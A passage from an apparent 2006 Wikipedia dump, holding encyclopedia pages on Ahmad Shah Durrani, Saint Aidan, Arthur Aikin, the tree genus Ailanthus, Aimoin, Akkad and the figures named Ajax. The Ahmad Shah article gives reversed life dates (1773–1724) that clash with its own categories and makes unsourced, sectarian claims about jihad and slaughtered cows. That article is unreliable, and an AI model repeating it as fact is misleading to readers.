'''Ahmad Shah''' ('''احمد شاہ''') (1773–1724), also known as '''Ahmad Shah Abdali''' ([[Persian language|Persian]]: احمد شاہ ابدالی), founder of the [[Durrani]] dynasty in [[Afghanistan]], was the son of Zaman-Khan, hereditary chief of the Abdali tribe. The name 'Durrani' or 'Durr-i-Durran' means the 'pearl of pearls' in Persian and was given to the Abdali tribe in [[1747]] when Ahmad Shah Abdali united the Pashtun tribes following a [[loya jirga]] and changed his own name to Ahmad Shah Durrani when he became the king of Afghanistan and founded the Durrani Empire. Ahmad Shah and his sons were the first [[Pashtun]] rulers of Afghanistan, from the [[Sadozai]] line of the Abdali or [[Durrani]] group of clans. It was under the leadership of Ahmad Shah that the nation of Afghanistan began to take shape following centuries of fragmentation and exploitation.

[[Nadir Shah]], then ruler of [[Persian Empire | Persia]], gave Ahmad Shah the command of a body of cavalry composed chiefly of Abdalis. On the assassination of [[Nadir Shah]] in 1747, Ahmad retreated to Afghanistan and persuaded local tribes to join him for a [[jihad]] against [[Hindu]]s. He took with him the [[Koh-i-noor]] diamond, given to him by [[Shah Rukh of Persia | Shah Rukh]], Nadir's grandson.

He first crossed the [[Indus river|Indus River]] in 1748, when he took [[Lahore]], and in 1751, he inflicted a heavy defeat on the Sikhs of Lahore. In 1750 he took [[Nishapur]], and in 1752 subdued [[Kashmir]]. In 1756 he stripped and looted every corner of [[Delhi]] and took the treasures of the [[Mughul Empire]]. In 1757, he attacked the Golden Temple in Amritsar once again and filled its sarovar (pond) with the blood of slaughtered cows. Perhaps this was the last straw that prompted the [[Maratha]] chiefs to declare holy war on Ahmad Shah. In 1758 the Marathas obtained possession of the [[Punjab region|Punjab]], but in January 1761 they were routed by Ahmad in the great [[Third Battle of Panipat|Battle of Panipat]]. In a later expedition he inflicted a severe defeat upon the Sikhs, but had to hasten westward immediately afterwards in order to quell an insurrection in Afghanistan. Meanwhile the Sikhs again rose, and Ahmad was now forced to abandon all hope of retaining the command of the Punjab. He died in 1773, leaving to his son [[Timur Shah | Timur]] the great kingdom he had founded. Unfortunately, within 50 years after Ahmad's death, Afghanistan would be embroiled in civil war.

Even today there are thousands of people each year named their sons Ahmad Shah in tribute to the first Emir of Afghanistan.

==See also==
* [[Durrani Empire]]

==External links==
* [http://www.afghan-network.net/Culture/ahmadshah.html Invasions Of Ahmad Shah Abdali]
* [http://famousdiamonds.tripod.com/koh-i-noordiamond.html Famous Diamonds: The Koh-I-Noor]

{{Afghanistan-bio-stub}}
{{royal-stub}}

[[Category:1724 births]]
[[Category:1773 deaths]]
[[Category:Emirs of Afghanistan]]

[[fr:Ahmad Shâh]]
[[ja:アフマド・シャー・アブダーリー]]
[[no:Ahmed Shah Durrani]]
[[sv:Ahmed Shah Durrani]]
[[zh:艾哈迈德·沙·杜兰尼]]</text>
    </revision>
  </page>
  <page>
    <title>Aidan of Dalriada</title>
    <id>1561</id>
    <revision>
      <id>15900029</id>
      <timestamp>2003-11-21T22:12:52Z</timestamp>
      <contributor>
        <username>Stan Shebs</username>
        <id>7777</id>
      </contributor>
      <comment>#REDIRECT [[Aedan of Dalriada]]</comment>
      <text xml:space="preserve">#REDIRECT [[Aedan of Dalriada]]</text>
    </revision>
  </page>
  <page>
    <title>Aidan of Lindisfarne</title>
    <id>1562</id>
    <revision>
      <id>41687763</id>
      <timestamp>2006-03-01T01:46:31Z</timestamp>
      <contributor>
        <username>Android79</username>
        <id>88250</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Meowedfr|Meowedfr]] ([[User talk:Meowedfr|talk]]) to last version by Binabik80</comment>
      <text xml:space="preserve">'''Saint Aidan of Lindisfarne''' or Lindesfarne , the '''Apostle of Northumbria''' (died [[651]]), was the founder and first [[bishop]] of the [[monastery]] on the island of [[Lindisfarne]] in [[England]]. A [[Christianity|Christian]] [[missionary]], he is credited with restoring Christianity to [[Northumbria]].

An [[Irish ethnicity|Irish]]man, possibly born in [[Connacht]], Aidan was a [[monk]] at the monastery on the island of [[Iona]] in [[Scotland]].

The [[Roman Empire]] had spread Christianity into England, but due to its decline, [[paganism]] was seeing a resurgence in Northern England. [[Oswald of Northumbria]] had been living at the Iona monastery as a king in exile since [[616]] AD. There he converted to Christianity and was [[baptize|baptised]]. In [[634]] he gained the crown of Northumbria, and was determined to bring Christianity to the mostly pagan people there.

Due to his past at Iona, he requested missionaries from that monastery instead of the Roman-backed monasteries in England. At first the monastery sent a new bishop named Corman, but he returned to Iona and reported that the Northumbrians were too stubborn to be converted. Aidan criticised Corman's methods and was soon sent as a replacement in [[635]].

Aidan chose the island of [[Lindisfarne]], close to the royal castle at [[Bamburgh]], as his [[diocese]]. King Oswald, who spoke Irish, often had to translate for Aidan and his monks, who did not speak English at first. When Oswald died in [[642]], Aidan received continued support from King [[Oswine of Deira]] and the two became close friends.

An inspired missionary, Aidan would walk from one village to another, politely conversing with the people he saw and slowly interesting them in Christianity. According to legend, the king gave Aidan a horse so that he wouldn't have to walk, but Aidan gave the horse to a beggar. By patiently talking to the people on their own level Aidan and his monks slowly restored Christianity to the Northumbrian communities. Aidan also took in twelve English boys to train at the monastery, to ensure that the area's future religious leadership would be English.

In [[651]] a pagan army attacked Bamburgh and attempted to set its walls ablaze. According to legend, Aidan prayed for the city, after which the winds turned and blew the smoke and fire toward the enemy, repulsing them.

Aidan was a member of the Irish branch of Christianity instead of the Roman branch, but his character and energy in missionary work won him the respect of [[Pope Honorius I]] and [[Felix of Dunwich]].

Aidan's friend Oswine of Deira was murdered in [[651]]. Twelve days later Aidan died, on [[August 31]], in the 17th year of his [[bishop|episcopate]]. He had become ill while at the Bamburgh castle and died leaning against the wall of the local church.

The monastery he founded grew and helped found churches and other monasteries throughout the area. It also became a center of learning and a storehouse of scholarly knowledge. [[Saint Bede the Venerable]] would later write Aidan's biography and describe the miracles attributed to him. Saint Aidan's feast day is on [[August 31]]st.

{{start box}}
{{succession box |
  before=--|
  title=[[Bishop of Lindisfarne]]|
  after=[[Finan of Lindisfarne|Saint Finan]]|
  years=[[635]] - [[651]]|
}}
{{end box}}


==External links==
*[http://www.irelandseye.com/irish/people/saints/aidan.shtm Irelandseye.com biography of Saint Aidan]
*[http://www.lindisfarne.org.uk/general/aidan.htm Saint Aidan of Lindisfarne] by Reverend Canon Kate Tristram
*[http://www.britannia.com/bios/saints/aidan.html Britannia biography of Saint Aidan]
*[http://www.netacc.net/~mafg/book/v2c3s3.htm A History Of The Church] (around the time of Aidan) by Philip Hughes

[[Category:651 deaths]]
[[Category:Saints]]
[[Category:Roman Catholic bishops]]
[[Category:Roman Catholic monks]]
[[Category:Bishops of Lindisfarne]]
[[Category:Irish saints]]

[[de:Aidan von Lindisfarne]]
[[uk:Святий Айден]]</text>
    </revision>
  </page>
  <page>
    <title>Arthur Aikin</title>
    <id>1563</id>
    <revision>
      <id>34277923</id>
      <timestamp>2006-01-07T20:42:52Z</timestamp>
      <contributor>
        <username>YurikBot</username>
        <id>271058</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sk</comment>
      <text xml:space="preserve">'''Arthur Aikin''' ([[May 19]], [[1773]] - [[April 15]], [[1854]]), [[United Kingdom|English]] [[chemistry|chemist]], [[mineralogy|mineralogist]] and scientific writer, was born at [[Warrington, England|Warrington]] in [[Lancashire]]. 

He was the son of Dr. [[John Aikin]].

He studied chemistry under [[Joseph Priestley]] and gave attention to 
the practical applications of the science. 

From [[1803]] to [[1808]] he was editor of ''[[Annual Review]]''.

He was one of the founders of the [[Geological Society of London]] in [[1807]] and was its honorary secretary in [[1812]]-[[1817]]. He contributed papers on the [[Telford_and_Wrekin|Wrekin]] and the [[Shropshire]] coalfield, among others, to the transactions of that society. 

Later he became secretary of the [[Royal Society of Arts]], and in [[1841]] treasurer of the [[Chemical Society]]. In early life he had been a [[Unitarianism|Unitarian]] minister for a short time. He was highly esteemed as a man of sound judgment and wide knowledge. He died in [[London]]. 

Publications:
:''Journal of a Tour through North Wales and Part of Shropshire with Observations in Mineralogy and Other Branches of Natural History'' (London, 1797)
:''A Manual of Mineralogy'' (1814; ed. 2, 1815)
:''A Dictionary of Chemistry and Mineralogy'' (with his brother C. R. Aikin), 2 vols. (London, 1807, 1814).

{{chemist-stub}}
{{geologist-stub}}
[[Category:1773 births|Aikin, Arthur]]
[[Category:1854 deaths|Aikin, Arthur]]
[[Category:English mineralogists|Aikin, Albert]]
[[Category:English chemists|Aikin, Albert]]

[[it:Arthur Aikin]]
[[sk:Arthur Aikin]]</text>
    </revision>
  </page>
  <page>
    <title>Ailanthus</title>
    <id>1564</id>
    <revision>
      <id>37287199</id>
      <timestamp>2006-01-30T00:52:51Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = ''Ailanthus''
| image = Ailanthus altissima1.jpg
| image_width = 200px
| image_caption = ''Ailanthus altissima'' leaf and seeds
| regnum = [[Plant]]ae
| divisio = [[flowering plant|Magnoliophyta]]
| classis = [[dicotyledon|Magnoliopsida]]
| ordo = [[Sapindales]]
| familia = [[Simaroubaceae]]
| genus = '''''Ailanthus'''''
| genus_authority = [[René Louiche Desfontaines|Desf.]]
| subdivision_ranks = Species
| subdivision = 
''[[Ailanthus altissima]]''&lt;br/&gt;
''Ailanthus excelsa''&lt;br/&gt;
''Ailanthus giraldii''&lt;br/&gt;
''Ailanthus malabarica''&lt;br/&gt;
''Ailanthus triphysa''&lt;br/&gt;
''Ailanthus vilmoriniana''
}}

'''''Ailanthus''''' (derived from ailanto, an [[Amboine]] word probably meaning &quot;tree of the gods&quot; or &quot;tree of heaven&quot;) is a genus of 6-10 species of [[tree]]s belonging to the family [[Simaroubaceae]], in the order [[Sapindales]] (formerly [[Rutales]] or [[Geraniales]]). The genus is native from east [[Asia]] south to northern [[Australasia]].

The best known species, ''[[A. altissima|Ailanthus altissima]]'', English name '''[[Tree of heaven]]''', is a native of northern [[China]]. It is a quick-growing [[deciduous]] tree to 25-35 m tall, with spreading branches and large (40-80 cm) pinnate leaves with 15-35 long pointed leaflets, the terminal leaflet normally present, and the basal pairs of leaflets often lobed at their bases. The small greenish flowers are borne on branched panicles; and the male ones are characterized by having a disgusting odour. The fruits are free in clusters, and each is drawn out into a long wing with the seed in the middle. The wood is fine grained and satiny. 

[[Image:Ailanthus altissima4.jpg|thumb|left|''Ailanthus altissima'' flowers]]
The tree was introduced into [[England]] in 1751 and is a favourite in parks and gardens. It has also been introduced into [[North America]]. This tree has the reputation as being among the most urban-tolerant of any temperate-zone trees in the world, growing in places where most [[weed]]s even refuse to grow. Where the climate is sufficiently similar to that of its homeland, as in much of the east and south of both the [[United States]] and [[Europe]], it has proved to be a serious problem [[invasive species]], causing major problems both in urban areas (where the roots of saplings that germinate close to buildings cause damage to foundations), and in rural areas (where it displaces native species from the environment). A consequent popular [[nickname]] for the species is '''Tree from hell'''.

''A. altissima'' is sometimes also known as ''A. glandulosa'' or ''A. glanduosa''. Under this name, an extract of the bark is sometimes touted as an herbal homeopathic remedy for various ailments. However, taken in large doses, the bark extract is highly toxic.

Other species of ''Ailanthus'' include ''A. triphysa'', an [[Australia]]n tree; ''A. vilmoriniana'' and ''A. giraldii'' in south and west China, ''A. malabarica'' in southeast [[Asia]], and ''A. excelsa'', common in [[India]].

A silk spinning moth, the Ailanthus moth (''Samia cynthia''), lives on its leaves, and yields a silk more durable and cheaper than mulberry silk, but inferior to it in fineness and gloss.  This moth has been introduced to the eastern United States and is common near many towns; it is about 12 cm across, with angulated wings, and in colour olive brown, with white markings. Other [[Lepidoptera]] whose [[larva]]e feed on ''Ailanthus'' include ''[[Endoclita|Endoclita malabaricus]]''.

== External links ==
* [http://www.inmygarden.org/archives/2005/01/ailanthus_and_s_1.html Ailanthus and Staghorn Sumac], from The Monday Garden.

[[Category:Sapindales]]

[[de:Götterbaum]]
[[eo:Ailanto]]
[[gl:Árbore do ceo]]
[[it:Ailanthus]]
[[nl:Hemelboom]]
[[ja:ニワウルシ]]
[[pt:Árvore-do-céu]]</text>
    </revision>
  </page>
  <page>
    <title>Aimoin</title>
    <id>1565</id>
    <revision>
      <id>32484173</id>
      <timestamp>2005-12-23T14:16:11Z</timestamp>
      <contributor>
        <username>Julianonions</username>
        <id>69216</id>
      </contributor>
      <comment>Added birth/death category</comment>
      <text xml:space="preserve">'''Aimoin''' (c. [[960]]-c. [[1010]]), French chronicler, was born at Villefranche de Longchat about 960, and in early life entered the [[monastery]] of [[Fleury]], where he became a monk and 
passed the greater part of his life.

His chief work is a ''Historia Francorum'', or ''Libri v. de Gestis Francorum'', which deals with the history of the [[Franks]] from the earliest times to 653, and was continued by other writers until the 
middle of the [[12th century]]. It was much in vogue during the middle ages, but its historical value is now regarded as slight.  It has been edited by G. Waitz and published in the ''[[Monumenta Germaniae Historica]]: Scriptores'', Band xxvi. (Hanover and Berlin, 1826-1892).

He also wrote a ''Vita Abbonis'', ''abbatis Floriacensis'', the last of a series of lives of the [[abbot]]s of Fleury, all of which, except the life of [[Abbo of Fleury|Abbo]], have been lost.  This has been published by [[Jean Mabillon|J. Mabillon]] in the ''Acta sanctorum ordinis sancti Benedicti'' (Paris, 1668-1701).

Aimoin's third work was the composition of books ii. and iii. of the ''Miracula sancti Benedicti'', the first book of which was written by another monk of Fleury named Adrevald.  This also appears in the Acta sanctorum ordinis sancti Benedicti.

Aimoin, who died about 1010, must be distinguished from Aimoin, a monk of Saint-Germain-des-Pres, who wrote ''De miraculis sancti Germani'', and a fragment ''De Normanorum gestis circa Parisiacam urbem et de divine in eos ultione tempore Caroli calvi''.  Both of these are published in the ''Historiae Francorum Scriptores'', Tome ii. (Paris, 1639-1649).

==References==
*{{1911}}
[[Category:960 births]]
[[Category:1010 deaths]]</text>
    </revision>
  </page>
  <page>
    <title>Akkad</title>
    <id>1566</id>
    <revision>
      <id>41762573</id>
      <timestamp>2006-03-01T15:46:44Z</timestamp>
      <contributor>
        <username>Daanschr</username>
        <id>316840</id>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">{{Template:Ancient Mesopotamia}}
'''Akkad''' (or '''Agade''') was a city and its region of northern [[Mesopotamia]], 
situated on the left bank of the [[Euphrates]], between [[Sippar]] and [[Kish]] (located in present-day [[Iraq]], ca. 50 km south-west of the center of [[Baghdad]], {{coor d|33.1|N|44.1|E}}). It reached the height of its power between the [[22nd century BC|22nd]] and [[18th century BC|18th]] centuries BC, before the rise of [[Babylonia]].

Akkad gave its name to the [[Akkadian language]], reflecting use of ''akkadû'' (&quot;in the language of Akkad&quot;) in the Old Babylonian period to denote the [[Semitic]] version of a [[Sumerian language|Sumerian]] text. It was built in the 23rd century BC.


==History== 
The earliest records in Akkadian date to the time of [[Sargon of Akkad]] ([[23rd century BC]]).  While Sargon is traditionally cited as the first ruler of a combined empire of Akkad and Sumer, more recent work suggests that a Sumerian expansion began under a previous king, [[Lugal-Zage-Si]] of [[Uruk]].  However, Sargon took this process further, conquering many of the surrounding regions to create an empire that reached as far as the [[Mediterranean Sea]] and [[Anatolia]].

It is believed that Akkad was the largest city in the world from 2250 to 2075 BC.[http://geography.about.com/library/weekly/aa011201a.htm]

In the later [[Babylonia|Babylonian]] literature the name ''Akkad'', together with ''Sumer'', appears  as part of the royal title, as in the [[Sumerian language|Sumerian]] ''lugal Kengi (ki) Uru (ki)'' or [[Akkadian language|Akkadian]] ''&amp;#154;ar m&amp;#257;t &amp;#138;umeri u Akkadi'', translating to &quot;king of [[Sumer]] and Akkad&quot;, which appears to have  meant simply &quot;king of Babylonia&quot;.

The site of Akkad has not been identified, though texts from as late as the [[6th century BC]] mention it, and its ruined buildings.

==Origin of the Name==

The city of Akkad is mentioned once  in the [[Old Testament]] ([[Genesis]] 10:10). 
:''And the beginning of his ([[Nimrod (king)|Nimrod]]'s) kingdom was [[Babylon|Babel]], and [[Erech]], and Accad, and [[Calneh]], in the land of [[Shinar]].'' ([[KJV]])

The [[Greek language|Greek]] ([[LXX]]) spelling is ''Archad''.

The name Agade is probably from the [[Sumerian language]], appearing e.g. in the [[Sumerian king list]], the later Assyro-Babylonian Semitic form ''Akkadû'' (&quot;of or belonging to Akkad&quot;) probably being derived from Agade.

It is possible that the name AGA.DE means &quot;Crown of Fire&quot;{{ref|crown}} in allusion to [[Ishtar]], &quot;the brilliant goddess&quot;, whose cult was observed in very early times in Agade.  This is suggested by the writings of [[Nabonidus]], whose record{{ref|nabonidus}} mentions that Ishtar worship of Agade was later superseded by that of the goddess [[Anunit]], whose shrine was at [[Sippar]].  It is significant in this connection that there were two cities named Sippar, one under the protection of [[Shamash]], the sun-god, and one under Anunit,suggesting proximity of Sippar and Agade. One
theory held (as of [[1911]]) was that Agade was situated opposite Sippar on the left bank of the Euphrates, and was probably the oldest part of the city of Sippar.

===Notes===
# {{note|crown}} Prince, &quot;Materials for a Sumerian Lexicon&quot;, pp. 23, 73, Journal of Biblical Literature, 1906.
# {{note|nabonidus}} I. Rawl. 69, col. ii. 48 and iii. 28.

===References===
*{{1911}}
*[[A. Leo Oppenheim]], ''Ancient Mesopotamia: Portrait of a Dead Civilization''

===See also===
*[[Akkadian Empire]]
*[[Sargon of Akkad]]
*[[Babylonia]]

== External links==
* [http://ancientneareast.tripod.com/Akkad.html Akkad History]: from The History of the Ancient Near East


[[Category:Babylonia]]
[[Category:Assyria]]

[[Category:Babylonia]]
[[Category:Assyria]]
[[Category:Destroyed cities]] 
[[Category:Archaeological sites in Iraq]]

[[bs:Akad]]
[[ca:Akkad]]
[[cs:Akkad]]
[[de:Akkad]]
[[et:Akad]]
[[es:Acad]]
[[eo:Akado]]
[[fr:Akkad (ville)]]
[[gl:Acadia (Mesopotamia)]]
[[he:אכד]]
[[nl:Akkad]]
[[ja:アッカド]]
[[no:Akkad]]
[[pl:Akad]]
[[pt:Acádia (Mesopotâmia)]]
[[ru:Аккад]]
[[fi:Akkad]]
[[sv:Akkad]]
[[zh:阿卡德]]</text>
    </revision>
  </page>
  <page>
    <title>Ajax the Lesser</title>
    <id>1567</id>
    <revision>
      <id>36899382</id>
      <timestamp>2006-01-27T04:33:49Z</timestamp>
      <contributor>
        <ip>68.42.126.146</ip>
      </contributor>
      <text xml:space="preserve">'''Ajax''' ([[Greek language|Greek]]: '''&amp;#913;&amp;#7988;&amp;#945;&amp;#962;'''), a [[Greek mythology|Greek]] hero, son of [[Oileus|Oïleus]] the king of [[Locris]], called the &quot;lesser&quot; or Locrian Ajax, to distinguish him from [[Ajax the great|Ajax]], son of [[Telamon]]. He was the leader of the Locrian contingent during the [[Trojan War]]. He is a significant figure in the ''[[Iliad]]'' and is mentioned in the ''[[Odyssey]]''. 

[[Homer]] gives a favorable description of him as a warrior. In spite of his small stature, he held his own amongst the other heroes before Troy; he was brave, next to [[Achilles]] in swiftness of foot and famous for throwing the spear.  But he was boastful, arrogant and quarrelsome; like the Telamonian Ajax, he was the enemy of [[Odysseus]], and in the end the victim of the vengeance of [[Poseidon]], who wrecked his ship on his homeward voyage ''([[Odyssey]]'', iv. 499).

A later story gives a more definite account of the offense of which he was guilty.  It is said that, after the fall of Troy, he dragged [[Cassandra]] away by force from the statue of the goddess at which she had taken refuge as a suppliant, and raped her ([[Lycophron]], 360, [[Quintus Smyrnaeus]] xiii. 422).  For this, his ship was wrecked in a storm on the coast of [[Euboea]], and he himself was struck by lightning and impaled upon a rock. ([[Virgil]], ''[[Aeneid]]'' I. 40-45).

He was said to have lived after his death in the island of [[Leuke]].  He was worshipped as a national hero by the Opuntian Locrians (on whose coins he appears), who always left a vacant place for him in the ranks of their army when drawn up in battle array.  He was the subject of a lost tragedy by [[Sophocles]].  The rape of Cassandra by Ajax was frequently represented in [[ancient Greece|Greek]] works of art, for instance on the chest of [[Cypselus]] described by [[Pausanias (geographer)|Pausanias]] (v. 17) and in extant works.

==References==
*{{1911}}

{{Commonscat|Ajax the Lesser}}

[[Category:People who fought in the Trojan War]]

[[de:Ajax der Kleine]]
[[es:Ayax el Menor]]
[[fr:Ajax fils d'Oïlée]]
[[it:Aiace di Locride]]
[[lt:Ajaksas Mažasis]]
[[ja:小アイアス]]
[[ru:Аякс Малый]]
[[uk:Аякс Оїлід]]</text>
    </revision>
  </page>
  <page>
    <title>Ajax the Great</title>
    <id>1568</id>
    <revision>
      <id>41887514</id>
      <timestamp>2006-03-02T10:51:38Z</timestamp>
      <contributor>
        <username>Jess Cully</username>
        <id>147333</id>
      </contributor>
      <comment>/* Ajax the Great */ Now mentioned in Family section</comment>
      <text xml:space="preserve">'''Ajax''', or Aias (Greek: {{polytonic|'''Αἴᾱς'''}}), was a king of [[Salamis Island|Salamis]], and a legendary [[hero]] of ancient [[Greece]].

== Ajax the Great ==

To distinguish him from [[Ajax the lesser|Ajax, son of Oileus]] (&quot;Ajax the Lesser&quot;), he was called '''Ajax the Great''' or '''Telamonian Ajax '''. In [[Homer]]'s ''[[Iliad]]'' he is described as of great stature and colossal frame, the tallest among all the Achaeans, second only to his cousin [[Achilles]] in strength and bravery, and the 'bulwark of the Achaeans'. He was trained by the centaur [[Chiron]] (who had also trained his father, [[Telamon]], and Achilles' father [[Peleus]]), at the same time as Achilles was. Outshone only by his cousin, Ajax was the most valuable king in the battlefield, though not as smart as [[Nestor]], [[Idomeneus]], or, of course, [[Odysseus]]. He commanded his army wielding a great axe and a huge shield made of seven ox-hides with a layer of bronze. He was indeed a great asset to king [[Agamemnon]]'s army. He is not wounded in any of the battles described in the ''Iliad'', and he is the only principal character on either side who does not receive personal assistance from any of the gods who take part in the battles. As such, he embodies the virtues of hard work and perseverance.

== Trojan War ==
During the ''[[Iliad]]'', Ajax is notable for his strength and courage, which he displays in abundance, particularly in two fights with [[Hector]]. In Book VII, Ajax is chosen by lot to meet Hector in a duel which lasts most of a whole day. Ajax at first gets the better of the encounter, wounding Hector with his spear and knocking him down with a large stone, but Hector fights on until the [[herald]]s, acting at the direction of [[Zeus]], call a draw: the action ends without a winner and with the two combatants exchanging gifts. 

In Book IX, [[Agamemnon]] and the other Greek chiefs send Ajax, accompanied by Odysseus and [[Phoenix (Iliad)|Phoenix]], to the tent of Achilles, in an attempt to reconcile with the great warrior and induce him to return to the fight. Although Ajax speaks earnestly and is well received, he does not succeed in convincing Achilles.

The second fight between Ajax and Hector occurs when the latter breaks into the [[Achaean]] camp, and fights with the Greeks among the ships. In Book XIV, Ajax throws a giant rock at Hector which almost kills him. In Book XV, Hector is restored to his strength by [[Apollo]] and returns to attack the ships. Ajax, wielding a spear as a weapon and leaping from ship to ship, holds off the [[Trojan]] armies virtually single-handedly. In Book XVI, Hector is able to disarm Ajax (although Ajax is not hurt) and Ajax is forced to retreat under heavy fire. Hector and the Trojans succeed in burning one Greek ship, the culmination of an assault that almost finishes the war. 

All of the foregoing encounters happened when Achilles was not on the battlefield, because he was angry with Agamemnon. Ajax did manage to kill many of the other Trojan lords, including [[Phorkys]].  

When [[Patroclus]] dies, the Trojans try to steal his body and feed him to the dogs, accusing him of being a liar. Ajax is the man who fights to protect the body, and take it back safely to the camp, back to Achilles, the best friend, Patroclus. Ajax, assisted by [[Menelaus]], succeeds in fighting off the Trojans and taking the body back with his chariot; of course, the Trojans had already stolen the armor and left the body naked. Ajax's prayer to Zeus, to remove the fog which has descended on the battle - even if the [[Greeks]] are destined to lose - to allow them to die in the light of day, has become proverbial. 

Like most of the other Greek leaders, Ajax is alive and well as the ''Iliad'' comes to a close. 

Later, when Achilles dies, killed by [[Paris_(mythology)|Paris]] (with help from Apollo), Ajax and Odysseus are the heroes that fight against the Trojans to get the body and bury it next to his dear friend, Patroclus. Ajax, with his great axe, manages to get the Trojans away, while Odysseus pulls the body towards his chariot, and rides away. After the burial, both claim the armor for themselves, as recognition for their efforts. But in the end, after some discussion, Odysseus is given the armor. Ajax is furious about it, and falls to the ground, exhausted. When he wakes up, he becomes mad and goes to a group of sheep, and slaughters them, imagining they are the Trojan leaders, as well as Odysseus and Agamemnon. When he comes to his senses, covered in blood, and realises what he did, he decides that he prefers to kill himself rather than to live in shame. He did it with the same sword Hector had given him when they exchanged presents. (''[[Odyssey]],'' XI. 541). From his blood sprang a red flower, as at the death of [[Hyacinth (mythology)|Hyacinthus]], which bore on its leaves the initial letters of his name ''Ai,'' also expressive of lament ([[Pausanias (geographer)|Pausanias]] I. 35.4). His ashes were deposited in a golden urn on the [[Rhoetean]] promontory at the entrance of the [[Hellespont]].

The foregoing account of his death is from the ''Ajax'' of [[Sophocles]]; in [[Pindar]]'s &quot;[[Nemea]]&quot;, 7; and in [[Ovid]], ''[[Metamorphoses (poem)|Metamorphoses]]'', xiii. 1. Homer is somewhat vague about the precise manner of Ajax's death but does ascribe it to his loss in the dispute over Achilles's armour: when Odysseus visits [[Hades]], he begs the soul of Ajax to speak to him, but Ajax, still resentful over the old quarrel, refuses and descends silently back into [[Erebus]].

Like Achilles, he is represented (although not by Homer) as living after his death in the [[Snake Island (Black Sea)|island of Leuke]] at the mouth of the [[Danube]] ([[Pausanias (geographer)|Pausanias]] iii. 19. 11). Ajax, who in the post-Homeric legend is described as the grandson of [[Aeacus]] and the great-grandson of [[Zeus]], was the [[tutelary]] hero of the island of [[Salamis]], where he had a temple and an image, and where a festival called ''Aianteia'' was celebrated in his honour (Pausanias i. 35). At this festival a couch was set up, on which the panoply of the hero was placed, a practice which recalls the Roman [[Lectisternium]]. The identification of Ajax with the family of Aeacus was chiefly a matter which concerned the [[Athenian]]s, after Salamis had come into their possession, on which occasion [[Solon]] is said to have inserted a line in the ''[[Iliad]]'' (II. 557 or 558), for the purpose of supporting the Athenian claim to the island.  Ajax then became an Attic hero; he was worshipped at [[Athens]], where he had a statue in the market-place, and the tribe ''Aiantis'' was named after him.

== Family ==
Ajax is the son of [[Telamon]], who was the son of [[Aeacus]] and grandson of [[Zeus]], and his first wife [[Periboea]]. He is the cousin of Achilles, the most remembered Greek warrior, and elder half-brother of [[Teucer]].  Many illustrious Athenians — including [[Cimon]], [[Miltiades]], [[Alcibiades]] and the historian [[Thucydides]] — traced their descent from Ajax.

== References ==
{{Commonscat|Ajax the Great}}
*[[Homer]]. [[Iliad]] VII, 181-312; [[Homer]]. [[Odyssey]] XI, 543-67; [[Apollodorus]]. [[Epitome III]], 11-V, 7; [[Ovid]]. [[Metamorphoses (poem)|Metamorphoses]] XII, 620-XIII, 398.
*The laundry [[detergent]] brand Ajax's slogan is &quot;Stronger than dirt&quot;, presumably in the mythological reference.
*[[HMS Ajax]] (part of the [[UK]] [[Royal Navy]]) was named after him, but is no longer in use
*The [[USS Ajax]] was named for his valor
*Ajax is the name given to one of the most ferocious villians, known as a Titan, in [[Brian Herbert]] and [[Kevin J. Anderson]]'s prequel book trilogy, [[Dune: The Butlerian Jihad]], to [[Frank Herbert]]'s classic sci-fi epic [[Dune (novel)|Dune]].
*Ajax appears as one of the main characters in the [[computer game]] ''[[Age of Mythology]]''
*In the 2004 film ''[[Troy (film)|Troy]]'', Ajax was played by [[professional wrestling|wrestler]] [[Tyler Mane]].
*Amsterdam's football (soccer) club, [[Ajax Amsterdam]], is possibly named after Ajax
*Ajax is a character in the 1979 film ''[[The Warriors]]''; played by James Remar, the character exhibits simliar traits to the mythological Ajax

{{1911}}
[[Category:People who fought in the Trojan War]]

[[ca:Àiax el Gran]]
[[da:Ajax]]
[[de:Ajax der Große]]
[[es:Ayax el Grande]]
[[fr:Ajax fils de Télamon]]
[[it:Aiace Telamonio]]
[[he:איאקס]]
[[lt:Ajaksas]]
[[nl:Ajax (mythologie)]]
[[ja:大アイアス]]
[[pl:Ajaks]]
[[pt:Ájax]]
[[ru:Аякс Великий]]
[[fi:Aias]]
[[uk:Аякс Теламонід]]</text>
    </revision>
  </page>
  <page>
    <title>Ajax</title>
    <id>1569</id>
    <revision>
      <id>40577797</id>
      <timestamp>2006-02-21T15:54:30Z</timestamp>
      <contributor>
        <ip>147.83.148.106</ip>
      </contributor>
      <text xml:space="preserve">The name '''Ajax''' can refer to:

* Two figures in Homer's ''Iliad'', from which all other references named '''Ajax''' are derived:
** [[Telamonian Aias]], or Ajax the Great, King of Salamis
** [[Ajax the Lesser]], King of Locris
*  [[Ajax (Sophocles)|''Ajax'' (Sophocles)]], a tragedy whose protagonist is Ajax the Great
* [[Ajax Amsterdam]], the major football (soccer) team of Amsterdam, The Netherlands
* Automobiles:
** [[Ajax (1906 automobile)]], Aigner, Switzerland
** [[Ajax (1913 automobile)]], Briscoe, France
** [[Ajax (1921 automobile)]], prototype, U.S.
** [[Ajax (automobile)]], Nash Motors, 1925-26, U.S.
* [[Ajax (band)]], from New York City
* [[Ajax (arcade game)]], by [[Konami]]
*  [[Ajax (horse)]], a champion Australian racehorse which raced in the 1930s
* [[Ajax (programming)]], Asynchronous JavaScript and XML for web development
*  [[HMS Ajax|HMS ''Ajax'']], several ships of the Royal Navy
* [[Ajax cleanser]] household cleaner
* [[Ajax Duckman]], a character in the animated television series ''Duckman''
* [[Ajax, Ontario]], Canada
* [[Ajax Records]]
* [[Operation Ajax]], a 1953 Anglo-American covert operation to overthrow the government of Iran
* [[War Rocket Ajax]], from the 1980 movie [[Flash Gordon]]
* Ajax, a character from the 1979 U.S. film ''[[The Warriors]]''
* Ajax, a fictional company in Mickey Mouse cartoons; see [[Acme Corporation]]
* Ajax Mountain is an alternative name for [[Aspen Mountain (Colorado)]]
* Nike Ajax missile, of the U.S. [[Project Nike]]
* a russian hypersonic aircraft project based on plasma stealth technology, see [[Ajax (aircraft)]]

{{disambig}}

[[bg:Аякс]]
[[ca:Ajax]]
[[de:Ajax]]
[[fr:Ajax]]
[[ko:아이아스]]
[[it:Ajax]]
[[la:Aiax]]
